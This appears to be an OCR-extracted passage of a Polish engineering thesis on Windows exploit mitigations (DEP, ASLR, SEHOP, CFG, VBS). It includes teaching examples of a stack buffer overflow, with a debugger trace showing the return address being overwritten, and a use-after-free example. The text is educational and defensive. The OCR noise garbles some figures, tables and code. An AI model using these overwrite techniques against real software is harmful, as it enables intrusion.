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1. Wstep

Microsoft Windows jest najpopularniejszym systemem operacyjnym na komputery
stacjonarne PC dla zastosowan klienckich. Jego udziat na rynku globalnym, podczas pisania
pracy, wynosit 72.98 % [I]. W zwiazku z jego duzg popularnoscia, tworcy zlosliwego
oprogramowania, chetnie szukajg bledow w aplikacjach badz w samym systemie
operacyjnym. Btedy te moga prowadzi¢ do wykonania kodu atakujacego na maszynie ofiary,
co moze przelozy¢ si¢ na kradziez informacji jak réwniez $rodkéw finansowych,
zablokowania systemu badz wiaczenie komputera ofiary do sieci urzadzen kontrolowanych
przez atakujacego (botnet). Taka globalna sie¢, pozwala jej operatorowi, do przeprowadzania
atakow na wicksza skalg, np. DDoS [II] czy mass mailingu, jak réwniez ukry¢ swoja
lokalizacje w gestej sieci polaczen zainfekowanych maszyn.

Wiele atakoéw hakerskich zostatoby udaremnionych, gdyby systemy ofiar posiadaty
lepsze zabezpieczenia. Dunska firma Maersk, miedzynarodowy konglomerat w sektorze
transportu i energii, jeden z najwickszych operatorow kontenerowych zostat zainfekowany
zto§liwym oprogramowaniem ,,NotPetya” [III] w 2017 roku. Dane zostaly bezpowrotnie
zaszyfrowane na wszystkich komputerach podtagczonych do firmowej migdzynarodowe;j sieci,
a adwersarze zadali zaptaty w kryptowalucie za rzekome odszyfrowanie. Uzyskanie dostgpu
do systemu stato si¢ mozliwe dzigki uzyciu exploitu (program majacy na celu wykorzystanie
btedow w oprogramowaniu) o nazwie ,,EternalBlue” wykorzystujacego luke w systemowym
protokole Microsoft Server Message Block 1.0. Straty zostaly oszacowane przez Maersk na
200-300 milionéw dolarow. Wigkszo§¢ komputerow w tej firmie dziatalo pod przestarzala
wersja systemu Windows 2000 (system ten praktycznie nie posiadat Zzadnych mechanizméw
obronnych przed szkodliwym kodem), a aktualizacje oprogramowania nie byly
przeprowadzane prawidtowo. Mozna bylo tego unikng¢ poprzez sumienne aktualizacje
aplikacji oraz wdrozenie systemow IDS (Intrusion Detection System) [IV].

Najwazniejszym aspektem podczas tworzenia oprogramowania jest czynnik ludzki.
Czlowiek nie jest nieomylny, moze nie uwzgledni¢ przypadkow brzegowych, zrobi¢ literowke
badZz Zle zaimplementowa¢ logik¢ programu. Aby uchroni¢ uzytkownika koncowego od
zlo§liwego oprogramowania w systemach operacyjnych zaimplementowane zostaty
mechanizmy ochronne. Stosowane sg podczas kompilacji programéw oraz w jadrze systemu
operacyjnego. Oprocz tego firma Microsoft wydaje cyklicznie poprawki bezpieczenstwa do

swoich systemdw, co sprawia, ze uzytkownicy nie sg narazeni na znane ataki. Jednakze nadal



Strona |4

sa narazeni na zagrozenia tzw. zero-day [V]. Sa one zazwyczaj uzywane do atakow,
kierowanych w wazne cele rzadowe badz prywatne. Osoba, ktora znalazta blad w
oprogramowaniu i nie zgtosita tego faktu tworcy (np. w ramach programu bug bounty [VI])
badz badaczom cyberbezpieczenstwa, ma przewage i moze ja wykorzysta¢ w celu
nielegalnego czerpania korzys$ci majatkowych. Wspodlczesne rozwigzania antywirusowe
minimalizujg ryzyko eskalacji luk zero-day poprzez tzw. sandboxing [VII]. Luki w systemie
moga by¢ wykrywane poprzez inzynieri¢ wsteczng skompilowanego kodu binarnego, wraz z
jednoczesnym uzyciem programu nadzorujacego (debugger) do sprawdzania stanu
wykonania programu podczas jego dziatania. Czgsto badacze uzywaja rowniez metody
fuzzingu [VII], ktéra wykorzystuje algorytmy genetyczne do analizy $ciezek wykonania
procesu [IX]. Metoda ta zazwyczaj pozwala znalez¢ tylko mniej zlozone bledy (nazywane
tzw. low-hanging fruit). W niniejszej pracy zostang opisane najbardziej popularne bledy
programistyczne oraz metody ochronne, ktore im przeciwdziataja w systemie Microsoft
Windows oraz jak zmienialy si¢ na przestrzeni czasu wraz z nowymi wersjami systemu.
Zostanie zaprezentowany réwniez autorski projekt metody ochrony aplikacji dzialajacej jako
sterownik systemowy. Przedstawione zostanie rowniez studium przypadku wykorzystania
btedu przepetnienia bufora w aplikacji Audio Converter. Projekt pozwoli na praktyczna
analize metod ochrony w systemie Windows. Zostang rOwniez zaproponowane rozwigzania,

ktére uchronig aplikacje przed wykorzystaniem tego btedu.
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2. Cel i zakres pracy

Celem pracy jest analiza niskopoziomowych aspektow systemu operacyjnego Microsoft
Windows, poznanie mozliwych bledow bezpieczenstwa w programach, na jakiej dziatajg
zasadzie oraz jak system operacyjny chroni aplikacje przed nimi. Wiedza zdobyta podczas
analizy tych aspektow postuzy do stworzenia wiasnej metody ochrony dziatajace; w jadrze
systemu operacyjnego oraz analizy wykorzystania bledu w aplikacji Audio Converter.

Praca zostanie podzielona na pi¢¢ czgséci. Pierwsza z nich poruszy temat zabezpieczen
systemu Microsoft Windows opartego na jadrze NT na przestrzeni lat. W tej czgSci zostanie
krotko opisana historia systemu Windows, jakie metody ochrony zostaly wprowadzane w
kolejnych wersjach systemu oraz ich krétki opis. W drugiej czeéci zostang opisane wybrane
btedy programistyczne ktére moga prowadzi¢ do wykonania kodu atakujgcego. Bedzie to
migdzy innymi buffer overflow (btad przepelnienia bufora), use-after-free (metoda
wykorzystania btgdu w zarzadzaniu sterta), wykorzystanie mechanizmu wyjatkéw Structured
Exception Handling (SEH) (opartym na ramkach) w 32 bitowym systemie Windows w celu
obejscia zabezpieczenia Stack Canaries oraz Integer Overflow (przepeknienie zmiennej typu
catkowitoliczbowego). Wszystkie bigedy zostang przedstawione wraz z praktycznym
przyktadem. Nastepna cze$¢ bedzie opisem wybranych metod ochrony zaimplementowanych
w najnowszej wersji systemu Microsoft Windows, miedzy innymi: Address Space Layout
Randomization (losowo$¢ przestrzeni adresowej procesu), Data Execution Prevention
(zapobieganie wykonywania kodu znajdujacego si¢ w danych procesu), Stack Canaries
(mechanizm zapobiegania nadpisywania adresu powrotu z funkcji), SafeSEH oraz SEHOP
(ochrona przed nadpisywaniem oraz naduzywaniem ramek SEH). Kolejng czescig pracy bedzie
studium przypadku wykorzystania btedu w programie Audio Converter wraz z rozwigzaniem
tego btedu. W ostatnim etapie pracy zostanie zaprojektowany oraz przetestowany autorski
pomyst metody ochrony aplikacji ,,AntiExploit” ktéry ochroni podatng aplikacje przed
wykorzystaniem w niej bledu.
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3. Microsoft Windows w kontekscie zabezpieczen na przestrzeni lat

Pierwsza wersja systemu Windows oznaczona numerem 1.0 powstata w roku 1985 i
byta naktadka graficzng na dobrze znany woéwczas MS-DOS. System stat si¢ popularny wraz z
wydaniem wersji 3.0 oraz 3.1 (wprowadzenie pami¢ci wirtualnej, jadro w trybie chronionym).
W nastgpnych latach Microsoft kontynuowat linie swoich produktéw opierajacych si¢ na MS-
DOS (Windows 95, Windows 98, Windows Me), ale stworzyt rowniez system oparty na jadrze
NT (opracowywanym wcze$niej wraz z firmg IBM dla systemu OS/2) i to ta rodzina systemow
bedzie opisywana w tej pracy. Pierwszy system z tej serii, Windows NT 3.1 posiadat 32 bitowe
jadro, niezalezne od MS-DOS oraz wspieral warstwe abstrakcji sprzetowej. Mato jest
dostepnych informacji o wprowadzanych zabezpieczeniach w tamtym czasie ze wzgledu na
mniejsza $wiadomos$¢ z zakresu cyberbezpieczenstwa.

System operacyjny ciagle ewoluowat, dostgp do internetu stawat si¢ coraz bardziej
powszechny, a §wiadomos$¢ o zagrozeniach uzytkownikow komputerow rosta. Poczawszy od
Windowsa 2000, zaczgto zwracaé uwage uzytkownikowi, gdy ten chcial zatadowad
niepodpisany sterownik systemowy. Zostalo to wprowadzone ze wzgledu na potencjalnie
niechciane skutki uruchomienia szkodliwego kodu z poziomu uprzywilejowanego trybu jadra.
W tej samej wersji systemu wprowadzono ochrong plikow systemowych. Kod w systemowych
komponentach Sfe.dll oraz Sfc_os.dll monitorowat zmiany w plikach w systemowym folderze
System32. Jezeli plik miat by¢ zatwierdzony do zmiany musiat zgadza¢ si¢ jego podpis
cyfrowy.

Popularnym btedem w czasach powszechnego uzytkowania systemow Windows 2000
oraz Windows XP byl buffer overflow (bfad ten zostanie szczegéotowo oméwiony w dalszej
czgsci pracy). Preparujac odpowiednie dane wejsciowe do programu (zbyt dhugie;
wykraczajace poza bufor danych, ktéry ma je przyjac), mozna zmieni¢ prawidtowa §$ciezke
wykonania na wtasna. Jednym ze sposobow przejecia sterowania byto umieszczenie kodu na
stosie programu a nastgpnie skok w to miejsce (poprzez zamiang adresu powrotu funkcji). Do
czasu Windowsa XP taki skok byl mozliwy 1 spreparowany kod atakujacego zostal wykonany.
Aby temu przeciwdziata¢ w Windowsie XP zostal wdrozony mechanizm ochrony Data
Execution Prevention (DEP). System z aktywnym mechanizmem DEP podczas proby
wykonania kodu na stronie bez odpowiednich uprawnien, zakonczy aplikacje awaryjnie
poprzez nieobstuzony wyjatek btedu strony.

DEP niewatpliwie utrudniat prace twércom ztosliwego oprogramowania, niedozwolona

byta zmiana adresu powrotu funkcji na stos, lecz bylo mozliwe poprowadzenie $ciezki
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wywolania procesu do znanych adreso6w z modutow aplikacji badz bibliotek systemowych (np.
ntdll.dll badz kernel32.dll) w celu wywotania funkcji systemowych. Mechanizm Address
Space Layout Randomization losuje adres wirtualny zatadowania obrazu podczas jego
inicjalizacji, co uniemozliwia odwotywanie si¢ do innych obszaréw pamigci wirtualnej bez
kontekstu, w ktorym dziata proces.

Nawet z tymi zabezpieczeniami tworcy zlosliwego oprogramowania znalezli sposob na
wykonanie swojego kodu w aplikacji z btedami bezpieczenstwa. Byto to mozliwe poprzez
wykorzystanie stabosci w mechanizmie obstugi wyjatkow Structured Exception Handling do
nadpisania jego ramki. Structured Exception Handling Overwrite Protection wprowadzone
w Windows Vista SP 1 wprowadza ograniczenia, mi¢dzy innymi: ostatni element tancucha
SEH powinien wskazywa¢ na ntdll! FinalExceptionHandler, a kazdy element powinien
wskazywaé na pamig¢¢ stosu.

Innym waznym elementem ochrony systemu, sg poziomy integracji procesow [XI].
Proces z nizszym poziomem integracji nie moze modyfikowa¢ procesu z wyzszym poziomem
integracji. Kazdy poziom posiada wlasne uprawnienia, a procesy majg je przypisywane wraz z
ich potrzebami. Dla przyktadu przegladarka Google Chrome ma ustawiony poziom integracji
na ,,Untrusted”, przez co nie moze modyfikowaé¢ zadnego innego procesu w systemie.
Przeciwdziala to podnoszeniu uprawnien procesu.

Poczawszy od systemu Windows 8.1 obstugiwany jest mechanizm Control Flow
Guard dla plikow wykonywalnych skompilowanych przez Visual Studio wraz z
przelacznikiem /guard:cf. Kompilator dodaje instrumentacje w potencjalnie narazonych
funkcjach (Rysunek 1.). Dodany kod sprawdza poprawno$¢ skoku do danej funkcji (poréwnuje
jego adres z wczedniej przygotowang lista poprawnych funkcji, ktore moga wykona¢ skok w
dane miejsce w kodzie).

,Ostatnie zmiany w modelach aplikacji 1 oprogramowania, takie jak wprowadzenie
uslugi w chmurze oraz wszechobecnos$¢ urzadzen 10T, spowodowaly konieczno$¢ okreslenia
przez dostawcOw systemOw operacyjnych 1 sprzetu bardziej efektywnych sposobow
wirtualizacji innych ,,go$ci” systemu z wykorzystaniem urzadzen komputera bedacego hostem”
[1]. Oprécz mozliwosci dzielenia zasobow sprzgtowych na jednej maszynie umozliwito to
roOwniez na wzrost bezpieczenstwa systemu. W Windows 10 wprowadzono tzw. Virtualization-

based Security (VBS) wykorzystujace hipernadzorce Hyper-V. Jest to zbidr technologii
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ochrony systemu pod jednga rozpoznawalng nazwa. Ich kluczowa zaleta jest to, ze w

przeciwienstwie do wczesniejszych ulepszen zabezpieczen opartych na jadrze, nie sg one

/ VOID Foo{CALLBACK ROUTINE *Cb) {

minateProcess

’ ' Compiler
Cb(); N isentedr6
} instrumentation

L Foo(ValidCallback) ; J t Foo(0x41414141); J

{

IsValidrarget(ValidCallback) IsValidrarget (Oxd1414141)
roturns 100 returns FALSE

ValidCallback is called Oxd41414141 is NOT called
Process cont inues execut ing Process is terminated

Rysunek 1. Schemat dzialania instrumentacji Control Flow Guard,, zrédlo htps://docs.microsoft.com/en-
us/windows/win32/secbp/control-flow-guard
podatne na ztosliwe lub Zle napisane sterowniki, niezaleznie od tego, czy sa one podpisane, czy
nie. Przed wprowadzeniem VBS wszelki ztosliwy kod dziatajacy w konteks$cie jadra, jezeli
zostal wykryty, system probowal zaniecha¢ jego dziatania, operujac w tym samym obszarze
zabezpieczen (ring 0), wiec ztosliwy kod mogl nadpisa¢ pewne dane jadra, aby nie doszto do
jego detekcji. System chronil si¢ przed nadpisaniem danych systemowych mechanizmem
PatchGuard, ktory podczas wykrycia anomalii struktur systemowych zamykat system z
kodem btedu CRITICAL STRUCTURE _CORRUPTION. Dziatat on jednak w sposob
niedeterministyczny 1 atakujacy byl w stanie przywroci¢ sprawdzane dane do ich poprawnej
formy w precyzyjnym oknie czasowym. Wraz z wcze$niej wspomniang aktualizacja VBS
Microsoft wprowadzit do swojego systemu HyperGuard. Zostala wyznaczona granica
bezpieczenstwa pomigdzy wirtualnymi poziomami zaufania (VTL). ,,Mechanizm VTL to nie
tylko ortogonalna metoda izolowania dostgpu do pamigci, sprzetu i zasobéw procesora, ale
takze nowy kod i komponenty niezbedne do zarzadzania wyzszymi poziomami zaufania.” [1]
Zostaly zaimplementowane dwa poziomy: VTLO oraz VTL1 (uprzywilejowany). Pewne

urzadzenia lub procesy ktore wymagajg catkowitej ochrony przed dostepem zewnetrznym (np.
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czujnik biometryczny czy proces Local Security Authority Subsystem Service (Isass), do

egzekwowania polityk bezpieczenstwa) komunikujg si¢ z uprzywilejowanym poziomem VTL1

poprzez hipernadzorce.

Taki uktad pozwala rowniez na skuteczniejsze ostabianie exploitow, poniewaz poziom VTL1

jest uznawany za bezpieczny, a atakujacy (ktérego kod uruchamiany jest z poziomu VTLO)

ma bardzo ograniczone powierzchnie ataku. Uktad architektury VBS zostal przedstawiony na

Rysunku 2.

VTL O

VTL 1

Hyper-V

Rysunek 2. Ukilad architektury VBS

Aktywne metody ochrony proceséw, mozemy przeglada¢ uzywajac programu Process

Explorer z pakietu SysInternals, co zostato zaprezentowane na Rysunku 3.

Process
€ chrome.exe
€ chrome exe
Olarmsvc.exe

TWWINWORD.EXE

= VoiceControl_Servic...

= %) steamwebhelper exe
%) steamwebhelper exe
%) steamwebhelper exe
%) steamwebhelper exe
£ steamwebhelper exe
£ steamwebhelper exe
£ steamwebhelper exe
©) SteamService exe

=) steam exe

v procexp64._exe

1= ProcessHacker.exe

(= PresentationFontCa...
© OriginWebHelperSer...

(= RtkAudUServiceb4 e
= RtkAudUServiceb4 e

PID Company Name Integrity ASLR Control Flow Guard ~ Stack Protection Virtualized DEP
3752 Google LLC Untrusted ASLR CFG Disabled Enabled (perman...
4864 Google LLC Untrusted  ASLR CFG Disabled Enabled (perman._

4412 Adobe Inc. ASLR CFG

17972 Microsoft Corporation

4584 Micro-Star INT'L CO., LTD.
13404 Valve Corporation

Medium Enabled (perman...

13892 Valve Corporation Medium ASLR Enabled (perman...
14168 Valve Corporation Medium ASLR Disabled Enabled (perman...
14084 Valve Corporation Low ASLR Disabled Enabled (perman...
14540 Valve Corporation Untrusted  ASLR Disabled Enabled (perman...
14548 Valve Corporation Untrusted  ASLR Disabled Enabled (perman...
14560 Valve Corporation Untrusted  ASLR Disabled Enabled (perman...
13612 Valve Corporation ASLR nia nia

7012 Valve Corporation Medium ASLR Disabled Enabled (perman._
13300 Realtek Semiconductor Medium ASLR Disabled Enabled (perman...

4532 Realtek Semiconductor ASLR nia nia

5496 Sysinternals - www sysinternals.com Medium ASLR Disabled Enabled (perman...
12632 wj32 Medium ASLR Disabled Enabled (perman...

1452 Microsoft Corporation ASLR nla nia

4696 Electronic Arts ASLR nfa nla

Rysunek 3. Przeglgd aktywnych zabezpieczen w przyktadowych procesach dziatajqcych w systemie Windows 10
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Tabela 1. prezentuje opisane wcze$niej zabezpieczenia aplikacji, wraz z innymi majacymi na

celu ogolne podniesienie poziomu bezpieczenstwa systemu.

Nazwa systemu Numer wersji Wprowadzone
zabezpieczenia
Windows NT 3.1
3.5
Windows NT 3.5
3.51
Windows NT 3.51
4.0
Windows NT 4.0
Ostrzeganie o dodaniu
- 5.0 niepodpisanego sterownika
plug & play, Windows File
Protection
Windows XP 5.1 Data Execution Prevention,
Software Restriction Policies
Address Space Layout
Randomization, Structured
Exception Handling
Overwrite Protection,
Windows Vista Poziomy integracji
60 procesoOw, wymagany podpis
dla sterownikow
systemowych, User Account
Control, wprowadzenie
proceséw chronionych
Windows 7 61 App Locker, enklawy
pamigci
Windows 8

6.2 Secure Boot, AppContainers
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Windows 8.1
6.3 Control Flow Guard
Virtualization-based Security
(Device Guard,
Hyper Guard,
Windows 10 Credential Guard,
100 Application Guard,
Host Guardian), ostabienie
exploitow jadra przy
wykorzystaniu Hyper-V
Windows 11 Trusted Platform Module,

10.0.22000
sprzgtowa ochrona stosu

Tabela 1. Wprowadzone zabezpieczenia w systemach Microsoft Windows z rodziny NT wraz z podziatem na wersje.
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4. Opis bledow
W tym rozdziale zostang zaprezentowane wybrane klasy btedow, ktore moga prowadzié
do niekontrolowanego wykonania kodu. Kazdy btad zostanie przedstawiony wraz z przyktadem
jego wystepowania. Opisane zostang nast¢pujace bledy: przepeknienie bufora (buffer overflow),
use-after-free, naduzycie mechanizmu obstugi wyjatkdéw SEH oraz przepelnienie zmiennej

typu catkowitoliczbowego (integer overflow).

4.1 Buffer overflow

Buffer overflow (blad przepelnienia bufora) jest najlepiej poznanym oraz
udokumentowanym btedem podczas pisania oprogramowania. Polega on na wpisaniu do bufora
o zadanej wielkosci wigcej danych niz jest w stanie zapisa¢ [XI]. Dane te moga zostac¢
zatadowane do pamigci programu w rdzny sposob, np. poprzez wczytanie ich ze standardowego
wejscia, pliku badz sekcji wspotdzielonej. Nadmiarowe dane mogg nadpisac inne dane na stosie
(badz kazdy inny rodzaj pamigci w ktorym bufor jest umieszczony). Moze to prowadzi¢ do
nadpisania adresu powrotu z funkcji w aktualnej ramce stosu, ktéry moze zosta¢ ustawiony
przez atakujacego na dalsza cze$¢ nadmiarowych danych ktére sa ztosliwym kodem
maszynowym (na Rysunku 4. zobrazowane jako shellcode). Buffer overflow w kontekscie

architektury x86 zostal przedstawiony graficznie ponize;j.

NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

return add 7

program start func() call legitimate data buffer overflow

Rysunek 4. Zobrazowanie bledu buffer overflow dla architektury x86, Zrodto: https://www.acunetix.com/wp-
content/uploads/2019/06/buffer-overflow.png
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Ramka stosu w tym przypadku oczekuje 10 elementéw, a atakujacy wpisuje do pamigci
nadmiarowe elementy (zaznaczone kolorem czerwonym), ktore niszcza uktad pamigci stosu,
nadpisujac adres powrotu z funkcji na adres kodu exploitu (za adresem powrotu). Blad moze
zosta¢ zainicjowany poprzez uzywanie funkcji typu memepy badz strepy, ktore nie sprawdzaja
dhugosci kopiowanych buforow. Microsoft przestrzega przed uzywaniem tych funkcji w swojej
dokumentacji [XII].

Ponizszy przyktadowy kod jezyka C poddany wnikliwej analizie, postuzy jako przyktad do

omowienia btedu przepetnienia bufora (Przyktad 1.).

#include <stdio.h>

int main(int argc, char* argv([])

{
char buf[20];
FILE* fin = fopen("a.txt", "rb");
fread(buf, 1, 1000, fin);
fclose(fin) ;
return 1;

Przykiad 1. Blgd przepetnienia bufora

Kod zostat skompilowany przez 64 bitowy kompilator MinGW (bez zadnych wtaczonych opcji

metod ochrony) oraz uruchomiony.

Rysunek 5. Kompilacja oraz uruchomienie programu
Do programu zostalo wpisane wigcej niz 20 elementéw (przez zastosowanie formantu %s
zamiast %20s) 1 program zakonczyl swoje dziatanie z bitedem bez informowania o tym
uzytkownika. Program zostat poddany dynamicznej analizie w debuggerze x64dbg. Ponizej

zostal umieszczony wygenerowany kod funkcji main.

ES push rbp

45: 89ES mov rbp,rs

48: 83EC 40 sub rsp,40

ES D3000000 call bo.401630

45: 8045 EO Tea rax,qgword ptr ss:[QErbp-20{
48: 892 mov rdx,rax

48: 8000 95 2A0000 Tea rcx,gword ptr ds: [404000]
ES8 FO140000 call <IMP.&scanfx>

B 00000000 mov eax,0

48:83C4 40 add rsp,40

D pop rbp

Cc3 ret

(=Tt A le

Rysunek 6. Wygenerowany kod assembly funkcji main
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Jak mozna zauwazy¢ ramka stosu dla tej funkcji ma 64 bajty. Oprocz danych naszego
dwudziestoelementowego bufora na stosie ulokowane sg rowniez dane powigzane z prologiem

kompilatora. Uktad stosu przed wczytaniem danych do bufora zostal zaprezentowany na

Rysunku 7.

LiEeIel OO0 00000000000
FDE & [ 00000000000:000:00
| Q00000000 0000008
0000000000401519( Freturn to bo.0000000000401519 from bo.0000000000402A45
OO0 0000000008
00000000000 0002 2
WO '] 0000000007 02650 &"C NN 5tudi av\Inzyni erkal ) codesy\ bo. exe”
00000000 5 5 || 0000000000000010
WIO0000000E80FE 20 || 00000000007 02610| &"C YN\ Studiav\Inzynierkalh codes\\bo. exe™
000000000060FEZS || 0O000000004013C7 | return to bo.00000000004013C7 from bo.0000000000401550
FEZ0O || 00000000000 00000
00000000000 0002 2
0000000000407 970 bo. 0000000000407 970
(ndndudndudutududniulutndndntn

Rysunek 7. Uktad pamieci stosu w analizowanej aplikacji wyswietlony w debuggerze x64dbg

Bufor wezytywanych danych zostal umieszczony pod adresem 0x60FE00. Aby nadpisa¢ adres
powrotu z funkcji main uwidoczniony pod adresem 0x60FE28 program musi wczyta¢ 40
bajtow (20 zadanych bajtéw wraz z wyréwnaniem oraz adresem nadrzednej ramki stosu) a
nastgpne 8 bajtow beda adresem powrotu. Jezeli w miejsce adresu powrotu funkcji, zostanie
wcezytana warto$¢ 0x4242424242424242, zmieni to uklad stosu (operacje ta prezentuje
Rysunek 9. 1 Rysunek 10.).

EEEEEEEE

Rysunek 8. Wezytanie do bufora nadmiarowych danych

Dane zostaty wczytane a uktad stosu prezentuje si¢ nastgpujaco:

000000000040 4000 | Bo. 0000000000404000

[OO00000000G0FEDD | "AAAAAAAANNANNN DS AANN NN NS AR A AN AAAEEEEEEEE"
00000000001LC ZAB0| & ALLUSERSPROFILE=C " \ProgramData"
OO007FFFD7S394F 40| "eeeacaeaaaaaaaas

4141414141414141
4141414141414141
4141414141414141
)0 0 4141414141414141
)00000D000E0FEZD0 || 4141414141414141
00000000006 0DFEZE || 4242424242424242
OO0 00000060F E 30 (| 0000000000000
Q0000000000002 2
0000000000407 970 bo. 0000000000407 970
ol dndnduintuintnfuduin

Rysunek 9. Uktad pamigci stosu po przepetnieniu bufora

............

Po wykonaniu instrukcji ret wykonanie powinno zosta¢ przekierowane pod adres
0x4242424242424242. Przy probie skoku pod ten adres generowany jest wyjatek
EXCEPTION_ACCESS VIOLATION i program konczy dzialanie z blgdem. Zamiast
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warto$ci 0x4242424242424242 atakujacy moze wprowadzi¢ jakikolwiek inny adres, co moze
prowadzi¢ do wykonania ztosliwego kodu (Rysunek 10.).

. El nop
L 90 nop
. 55 push rbp
. 45:89ES mov rbp,rsp
. 48:83EC 40 sub rsp,40
L EE D2000000 call bo.401630
. 45: 8045 EO lea rax,qword ptr ss:|[Irbp-z0J
. 45:89C2 mov rdx,rax
. 48: 8000 952A0000 lea rox,qword ptr ds: [404000]
. ES FOL140000 call <IMP.&scanf>
. BS 00000000 mov eax,0
. 45:83C4 40 add rsp,40
L] cD pop rbp
[F| >e c3 ret
. 90 nop
o o

UWoump1  @lpump?  Wpump3  WWoump4  WWoumps @ watch1  x-llocals ' Stuct
ddress Hex ASCII

0000000006G0FEDD |41 41 41 41(41 41 41 4141 41 41 4141 41 41 41| Assssaasaassanng
00000000060FELD | 41 41 41 4141 41 41 41|41 41 41 4141 41 41 41| AAAAAAAAAAAAAANA
00000000060FE20| 41 41 41 4141 41 41 4142 42 42 42 42 42 42 42| AAAAAAAABEEEEEEE
00000000060FEZD | 00 00 00 00|00 OO0 00 00|22 00 00 OO(00 00 00 00| ... ...a. Teccoooo
00000000060FE40 | Z0 79 40 00100 OO0 00 0000 0D OO0 00|00 OD OO0 OO(pY@. .. .. ....o.n..

cer

immand: |

Paused |Last chance exception on 0000000000401574 (CO000005, EXCEPTION_ACCESS_VIOLATIOM)!

Rysunek 10. Przekierowanie wykonania pod arbirtralny adres

4.2 Use-after-free.

Kazdy proces w Windows dzialajacy w podsystemie Win32 posiada domyslng sterte, ktorej
pierwotny rozmiar wynosi 1 MB. Sterta procesu moze by¢ wykorzystywana bezposrednio przez
aplikacje do zapisywania danych potrzebnych podczas jej dziatania badz posrednio poprzez
wewngetrzne funkcje systemu. Jej rozmiar zwicksza si¢ wraz z zapotrzebowaniem aplikacji.
Zdecydowana wigkszo$¢ alokacji pamigci jaka zachodzi w aplikacjach jest mniejsza od
minimalnej ziarnistosci jaka jest uzywana przez funkcje operujace na stronach pamigci (64 kB),
dlatego wdrozony zostal menadzer pamieci ktory, zarzadza wigkszymi obszarami pamigci (np.
pamig¢ zaalokowana przez API VirtualAlloc) zarezerwowanymi przez funkcje przydzielajace
pamig¢ z granulacja jednej strony (4kB). Efektywnie umozliwia to uzyskanie granulacji
alokacji menadzera sterty w systemie 32 bitowym wynoszacej 8 bajtow oraz 16 bajtoéw w
systemie 64 bitowym (alokowane np. poprzez funkcje new badz malloc z biblioteki msvcrt.dll).
Bloki pamigci w obrebie stron pamigci sg pogrupowane poprzez strukture LIST ENTRY. Dany
blok pamigci moze by¢ dostepny (free) albo uzyty. Programista podczas pisania
oprogramowania moze zazada¢ dealokacji danego bloku sterty (od tego momentu menadzer
sterty moze wczytaé w to miejsce nowe dane), a nastgpnie nieumyslnie odwota¢ si¢ do
wskaznika, ktory wskazywat na ten blok. Takie zachowanie (use-after-free) moze prowadzié¢
do odczytania informacji, do ktorej dana cze$¢ programu nie miata dostepu, jak rowniez

nadpisywanie struktur oraz danych sterty w celu przekierowania wykonania programu w
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miejsce okreslone przez atakujacego. Osoba projektujaca exploit typu use-after-free czgsto
wykorzystuje technike zwang heap spraying [XIII] polegajacej na celowym ,,zasypywaniu”
sterty danymi, aby trafilo ono we wtasciwe miejsce w pamigci wirtualne;j.

Do omo6wienia problemu zostanie wykorzystany przyktadowy kod w jezyku C (Przyktad 2).

int main ()

{
char* x = (char*)malloc (20 * sizeof (char));
free (X);

uint6d t* y = (uint6d t*)x;
*y = OxbeefbaaddeadcOde; // use-after-free
return 0O;

Przyktad 2. Blgd use-after-free

Na stercie alokowanych jest 20 bajtéw poprzez funkcje malloe, zapisane do wskaznika x oraz
natychmiast zwalniane. Nastepnym krokiem jest odniesienie si¢ do wcze$niej zwolnionej
pamigci oraz zapisanie jej rozpoznawalng wartoscig.

W tym przypadku narusza to integralno$¢ struktur danych sterty w oczywisty sposob, jednak
przy rozbudowanych aplikacjach btad programisty moze nie by¢ taki oczywisty 1 zachodzié¢
tylko dla bardzo wyselekcjonowanych danych wejsciowych (co zdarza si¢ najczesciej) i nie jest
tak tatwy do znalezienia.

Powyzszy program zostal skompilowany 64 bitowym kompilatorem MinGW oraz

uruchomiony pod systemem Windows 10 21H1. Jego kod maszynowy jest przedstawiony na

Rysunku 11.

] 55 push rbp

] 1 48: 89ES mov rbp,rsp

] 4 48:83EC 30 sub rsp,30

L] B ES F3000000 call uaf. 401650

L D B9 14000000 mov eCx,14

L] 62 ES 21150000 call <IMP.&malloc>

e 67 48:8945 F8 mov gword ptr ss:rbp-8J,rax
] ] 45:8B45 F3 mov rax,gword ptr ss:|frbp-3]
. 6F 45:583C1 MoV FCX,rax

] 2 ES 21150000 call <IMP.&freex

] 7 48:8B45 F8 mav rax,gword ptr ssiirbp-35]
] E 48: 8945 FO mov gword ptr ss:[Brbp-10,rax
] F 45:8B45 FO mov rax,gword ptr ss:|rbp-10f
L 3 48:BA DECOADDEADBAEFEBE mov rdx,BEEFBAADDEADCODE

] 48: 8910 mov gword ptr ds:[rax],rdx

. B8 00000000 mov eax,’

] 48:83C4 30 add rsp,30

] ED pop rbp

L C3 ret

Rysunek 11. Kod maszynowy programu prezentujgcego blqd use-after-free.



Strona |17

Przydzielona pamig¢¢ przez malloc pod adresem 0x1F26F0 zostata zaznaczona na Rysunku 12.
Warto$¢ 0xBAADFO00D jest standardowa warto$cig nadawang niezainicjalizowanej pamigci

sterty.

00000000001LF2690( 42 3A S5C 53|74 75 64 62|61 S5C 42 GE|7A 72 &6E &32|cC:' 5tudia‘Inzyni
00000000001F26A0 |65 72 6B 61|5C 63 6F 64|65 73 5C 75|61 66 ZE 65 |erka‘codes‘uaf.e
00000000001LF26B0 |78 65 00 AEB|AE AE AE AB|ABE ABE AE AB|AB AB AB AB|Xe.cacaaaaaaaaas
00000000001F26C0 | ABE AB AB FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|=azzpipipipipipip
00000000001F2600| 00 0D 00 00|00 OO0 OO0 00|00 0D 0D 00|00 00 00 00| .c.eeeueenaennns
0000000000LF26ED |EE FE EE FE|EE FE EE FE|62 00 DC 3B|4B 5F 00 3C|ipipipipb.U;K_. =
00000000001F26F0 | 0D FO AD BA|OD FO AD BA|OD FO AD BA|OD FO AD BA|.0.%.0.°.0.%.8.°
00000000001F2700 |00 FO AD BA|AE AE AE AB|AB AB AB AB|AB AB AB AB|.D.fccceaacaaaas
0000000000LF2710 | AE AE ABE AEB|EE FE EE FE|EE FE EE FE|EE FE EE FE|=zzezipipipipipip
00000000001F2720| 00 00 00 00|00 00 OO0 00|00 00 00 00|00 OO0 00 00| .. eeanaeeees

O0000000001F2730 |EE FE EE FE|EE FE EE FE|74 00 DF 2E|48 5F 00 00| ipipipipt.RB.H_..
00000000001LF 27 40 Z |00 00 00 Q0[50 01 IF Q0|00 00 00 00| eBuveee ePaveuaas
00000000001F2750| EE FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE|ipipipibipipipip
